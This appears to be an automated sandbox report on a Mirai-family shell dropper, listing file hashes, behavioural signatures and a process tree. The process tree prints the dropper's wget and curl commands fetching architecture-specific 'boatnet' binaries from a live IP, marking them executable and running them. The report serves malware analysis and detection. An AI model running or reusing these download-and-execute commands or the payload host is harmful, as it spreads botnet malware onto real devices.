Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 04:14

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    25c6ba0856c61dd5b61a23fb72afbd85

  • SHA1

    02bd8205bff824d323b72ccc0342c46a410f3d74

  • SHA256

    5b35f387f69bcb231b7e339c9ddeb610fd73ebf848f8cefdcfb26a2faabc5c6f

  • SHA512

    f1979d3997551d5cdc3a0aead3792509f2f5cb275ab303bfbb2d3d1e415dd6f882be425e352a73dd8ea27298a09001b7a14c323c3e854298736e76c1449ae8aa

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1527
    • /usr/bin/wget
      wget http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1528
    • /usr/bin/curl
      curl -O http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1533
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1534
      • /bin/chmod
        chmod +x boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1535
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1536
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1540
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1541
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1543
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1544
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1548
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1549
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1551
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1552
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.i468
        2⤵
          PID:1556
        • /usr/bin/curl
          curl -O http://77.221.151.63/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1557
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1559
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1560
        • /usr/bin/wget
          wget http://77.221.151.63/hiddenbin/boatnet.i686
          2⤵
            PID:1564
          • /usr/bin/curl
            curl -O http://77.221.151.63/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1565
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1567
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1568
          • /usr/bin/wget
            wget http://77.221.151.63/hiddenbin/boatnet.x86_64
            2⤵
              PID:1572
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1573
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1575
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1576
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1580
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1581
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1583
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1584
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1588
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1589
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1591
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1592
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1596
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1597
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1599
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1600
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1604
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1605
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-glg8Yq systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1607
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1608
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1612
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1613
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-mAhB1J systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1621
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1622
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1626
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1627
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1631
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1632
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1636
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1641
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-bolt.service-EdkoHW systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1643
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1644
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1648
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1651
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1659
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1660
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1664
            • /usr/bin/curl
              curl -O http://77.221.151.63/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1675
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Ykb1EJ netplan_bkesz5om ohshit.sh snap-private-tmp ssh-BWfFJo8H9ZMp systemd-private-9e609f7562754bc6a83b75af71ffbe40-colord.service-Y8RAiN systemd-private-9e609f7562754bc6a83b75af71ffbe40-ModemManager.service-Ojx5Aj systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-resolved.service-AFvYto systemd-private-9e609f7562754bc6a83b75af71ffbe40-systemd-timedated.service-eLKGOZ WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1679
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1680

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            895badd48eed0c0e0ba14e8d5967e7bb

            SHA1

            3c4c22665e6197841f7e68f941a4a27dca3d4d8d

            SHA256

            e2a04bd1fb1e7ed211e3ee19b08337b6361d695278417d5a21ba602ca7eb99b4

            SHA512

            dfc79a34d1694b7e4422fa4861bf475b3efe2398df684126e71293880f51f4bf39f396fb5c5e36a2c12944c7406e86cac09c3d3b8c432194aab976c8b7e94af7

          • memory/1536-1-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1544-2-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1552-3-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1560-4-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1568-5-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1576-6-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1584-7-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1592-8-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1600-9-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1608-10-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1622-11-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1632-12-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1644-13-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1660-14-0x0000000008048000-0x00000000080547a0-memory.dmp

          • memory/1680-15-0x0000000008048000-0x00000000080547a0-memory.dmp